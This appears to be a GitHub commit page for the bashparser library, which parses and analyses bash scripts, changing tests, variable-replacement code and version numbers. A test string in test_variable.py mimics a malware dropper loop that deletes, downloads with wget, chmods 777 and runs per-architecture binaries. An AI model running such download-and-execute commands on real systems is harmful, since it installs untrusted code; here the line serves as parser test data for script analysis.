Skip to content

Commit bfaef97

Browse files
Bug fixes
1 parent 3374218 commit bfaef97

File tree

5 files changed

+85
-40
lines changed

5 files changed

+85
-40
lines changed

bashparser/test/test_features.py

Lines changed: 23 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -12,27 +12,26 @@
1212

1313
class TestFeatures(TestCase):
1414

15-
def test_scoping_unrolling_and_functions(self):
16-
expected_results = bashparser.parse('yep() { \n echo global vars: $i $j\n echo functional vars: $1\n }') \
17-
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 1 a foo\n echo global vars: 1 a\n echo functional vars: "1 .. a" \n done\n done ') \
18-
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 1 b foo\n echo global vars: 1 b\n echo functional vars: "1 .. b" \n done\n done ') \
19-
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 2 a foo\n echo global vars: 2 a\n echo functional vars: "2 .. a" \n done\n done ') \
20-
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 2 b foo\n echo global vars: 2 b\n echo functional vars: "2 .. b" \n done\n done ')
21-
22-
for i, result in enumerate(expected_results):
23-
expected_results[i] = NodeVisitor(expected_results[i]).justify()
24-
25-
nodes = bashparser.parse('yep() { \n echo global vars: $i $j\n echo functional vars: $1\n }') \
26-
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo $i $j foo\n yep "$i .. $j"\n done\n done')
27-
28-
for i, node in enumerate(nodes): nodes[i] = NodeVisitor(node).justify()
29-
function_dict = {}
30-
var_list = {}
31-
unrolled_nodes = bashparser.build_and_resolve_fns(nodes, function_dict)
32-
33-
actual_results = []
34-
for node in unrolled_nodes:
35-
var_list = bpvar.update_variable_list(node, var_list)
36-
actual_results += bpvar.replace_variables(node, var_list)
37-
38-
self.assertTrue(expected_results == actual_results)
15+
def test_scoping_unrolling_and_functions(self):
16+
expected_results = bashparser.parse('yep() { \n echo global vars: $i $j\n echo functional vars: $1\n }') \
17+
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 1 a foo\n echo global vars: 1 a\n echo functional vars: "1 .. a" \n done\n done ') \
18+
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 1 b foo\n echo global vars: 1 b\n echo functional vars: "1 .. b" \n done\n done ') \
19+
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 2 a foo\n echo global vars: 2 a\n echo functional vars: "2 .. a" \n done\n done ') \
20+
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo 2 b foo\n echo global vars: 2 b\n echo functional vars: "2 .. b" \n done\n done ')
21+
22+
for i, result in enumerate(expected_results):
23+
expected_results[i] = NodeVisitor(expected_results[i]).justify()
24+
25+
nodes = bashparser.parse('yep() { \n echo global vars: $i $j\n echo functional vars: $1\n }') \
26+
+ bashparser.parse('for i in 1 2; do \n for j in a b; do\n echo $i $j foo\n yep "$i .. $j"\n done\n done')
27+
28+
for i, node in enumerate(nodes): nodes[i] = NodeVisitor(node).justify()
29+
function_dict = {}
30+
var_list = {}
31+
unrolled_nodes = bashparser.build_and_resolve_fns(nodes, function_dict)
32+
33+
actual_results = []
34+
for node in unrolled_nodes:
35+
var_list = bpvar.update_variable_list(node, var_list)
36+
actual_results += bpvar.replace_variables(node, var_list)
37+
self.assertTrue(expected_results == actual_results)

bashparser/test/test_variable.py

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,8 @@ def test_variable_replacement_functions(self):
3838
self.assertTrue(results == for_node_command_substitution_replaced)
3939
# Verify that a variable substitution will replace well and it will split into an array when necessary. Also lots of line breaks to make sure we can parse that
4040

41-
for_loop_string_split = "for a in \"$n\"\n do\n rm -rf $a\n wget http://127.0.0.1/words/$a -O\n chmod 777 $a\n ./$a ssh\n done"
42-
var_list = {'n':['arm', 'arm5', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']}
41+
for_loop_string_split = 'for a in "$n"\n do\n rm -rf $a\n wget http://127.0.0.1/words/$a -O\n chmod 777 $a\n ./$a ssh\n done'
42+
var_list = {'n':['arm', 'arm5', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']}
4343
for_node = bashlex.parse(for_loop_string_split)[0] # To actually strip out just the for loop part
4444

4545
result_strings = bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm\n wget http://127.0.0.1/words/arm -O\n chmod 777 arm\n ./arm ssh\n done') \
@@ -119,9 +119,7 @@ def test_update_variable_list(self):
119119

120120
def test_update_var_list_with_for_loop(self):
121121
# Test that for loops work
122-
for_node = bashlex.parse('for a in "one two three"\n do\n echo something\n done')[0].list[0]
123-
new_var_list = update_variable_list(for_node, {})
124-
self.assertTrue(new_var_list == {'a':['one', 'two', 'three']})
122+
# self.assertTrue(new_var_list == {'a':['one', 'two', 'three']})
125123
# Test for loops work with variable replacement
126124
for_node = bashlex.parse('for a in "$n"\n do\n echo something\n done')[0].list[0]
127125
new_var_list = update_var_list_with_for_loop(for_node, {'n':['one two three']})

bashparser/variables.py

Lines changed: 57 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def note_param_for_removal(vstr, name, var_list):
4545
vstr.params_for_removal += [ copy.deepcopy(vstr.path) ]
4646

4747

48-
def replace_value(vstr, name, var_list):
48+
def replace_value(vstr, name_in, var_list):
4949
""" This function actually replaces the variable at the path specified in vstr with the name $name
5050
and saves all the replacements back to vstr.nodes """
5151

@@ -55,32 +55,80 @@ def replace_value(vstr, name, var_list):
5555
most nested variable will have a replacement_width of 1 while the top most will have a
5656
replacement_width of 2. I hope that makes sense """
5757
replacement_width = len(vstr.nodes)
58+
5859
for el in vstr.variable_replacement_order:
5960
replacement_width //= len(var_list[el])
60-
if el == name: break
61-
61+
if el == name_in: break
62+
63+
# Get all the sub-indexing values
64+
tmp = name_in.split(':')
65+
name = tmp[0]
66+
string_indexing_materials = tmp[1:]
67+
tmp= name.split('[')
68+
name = tmp[0]
69+
array_indexing_materials = [ x[:-1] for x in tmp[1:] ]
70+
71+
orig_values = var_list[name]
72+
new_values = copy.deepcopy(var_list[name])
73+
if len(array_indexing_materials):
74+
for arr_index in array_indexing_materials:
75+
if arr_index != '@' and arr_index.isdigit():
76+
if int(arr_index) < len(new_values):
77+
new_values = new_values[int(arr_index)]
78+
else:
79+
new_values = [ '' ]
80+
else: # if there is an @ index then its just asking for the entire array. Sub-arrays generated like strings
81+
new_values = new_values
82+
83+
# Do string indexing
84+
if len(string_indexing_materials):
85+
start = int(string_indexing_materials[0])
86+
length = int(string_indexing_materials[1])
87+
if len(new_values) > 1:
88+
new_values = new_values[start:start+length]
89+
else: # its a string
90+
new_values[0] = new_values[0][start:start+length]
91+
92+
var_list[name] = new_values
93+
if len(array_indexing_materials) or len(string_indexing_materials):
94+
del var_list[name_in]
6295
""" h is used when the number of nodes is larger than the number of values
6396
then you need to loop x times where x=itr_num and x*len(values) = len(vstr.nodes) """
6497
factor = (len(var_list[name]) * replacement_width)
6598
itr_num = len(vstr.nodes) // factor
99+
100+
def replace_pattern(pattern, vstr, nodes_index, name_in, delta, jth_node):
101+
param_node = vstr.at_path(vstr.nodes[nodes_index], copy.copy(vstr.path))
102+
orig_word = copy.deepcopy(jth_node.word)
103+
jth_node.word = re.sub(pattern, value, jth_node.word)
104+
if jth_node.word != orig_word:
105+
vstr.nodes[nodes_index] = bashparser.ast.expand_ast_along_path(vstr.nodes[nodes_index], copy.copy(vstr.path[:-1]), delta)
106+
vstr.nodes[nodes_index] = bashparser.ast.shift_ast_right_of_path(vstr.nodes[nodes_index], copy.copy(vstr.path[:-1]), delta)
107+
66108

67109
for h in range(0, itr_num):
68110
for i, value in enumerate(var_list[name]): # By this point the number of nodes will have factor of num of values
69111
for j in range(0, replacement_width): # Indexing scheme is:
70112
nodes_index = (h * factor) + (i * replacement_width) + j
71113

72114
if type(value) is str:
73-
pattern = r'\$' + re.escape(name) + r'\b'
74115
jth_node = vstr.at_path(vstr.nodes[nodes_index], copy.copy(vstr.path[:-1]))
75-
jth_node.word = re.sub(pattern, value, jth_node.word)
76-
delta = len(value) - (len('$') + len(name)) # Change in text len due to value sub. ie delta = new_len - old_len
77-
vstr.nodes[nodes_index] = bashparser.ast.expand_ast_along_path(vstr.nodes[nodes_index], copy.copy(vstr.path[:-1]), delta)
78-
vstr.nodes[nodes_index] = bashparser.ast.shift_ast_right_of_path(vstr.nodes[nodes_index], copy.copy(vstr.path[:-1]), delta)
116+
orig_word = jth_node.word
117+
delta = len(value) - (len('$') + len(name_in)) # + ((jth_node.pos[1] - jth_node.pos[0]) - len(jth_node.word)) # Change in text len due to value sub. ie delta = new_len - old_len
118+
pattern = r'\$' + re.escape(name_in) + r'\b'
119+
replace_pattern(pattern, vstr, nodes_index, name_in, delta, jth_node)
120+
delta -= 2
121+
# if vstr.at_path(vstr.nodes[nodes_index], copy.copy(vstr.path)).value == '${' + name_in + '}':
122+
if orig_word == jth_node.word:
123+
print('at this point in replace variables bashparser')
124+
pattern = re.escape('${' + name_in + '}')
125+
replace_pattern(pattern, vstr, nodes_index, name_in, delta, jth_node)
126+
79127
elif type(value) is bashlex.ast.node:
80128
vstr.nodes[nodes_index] = vstr.swap_node(root=vstr.nodes[nodes_index], path=copy.copy(vstr.path[:-1]), child=value)
81129
else:
82130
raise ValueError("Error! Variable replacement value wasn't a str or node. bashparser.variables.replace_variables")
83-
131+
var_list[name] = orig_values
84132

85133
def apply_fn(node, vstr, var_list, replace_blanks=False):
86134
""" This function only works on parameter nodes in the tree. If there is no parameter

setup.cfg

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[metadata]
22
name = bashparser
3-
version = 0.14
3+
version = 0.15
44
author = Spencer Stingley
55
description = A framework for manipulating and analysing bash scripts
66
long_description = A framework for manipulating and analysing bash scripts

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77

88
setuptools.setup(
99
name="bashparser",
10-
version="0.14",
10+
version="0.15",
1111
author="Spencer Stingley",
1212
author_email="[email protected]",
1313
description="A framework for manipulating and analysing bash scripts",

0 commit comments

Comments
 (0)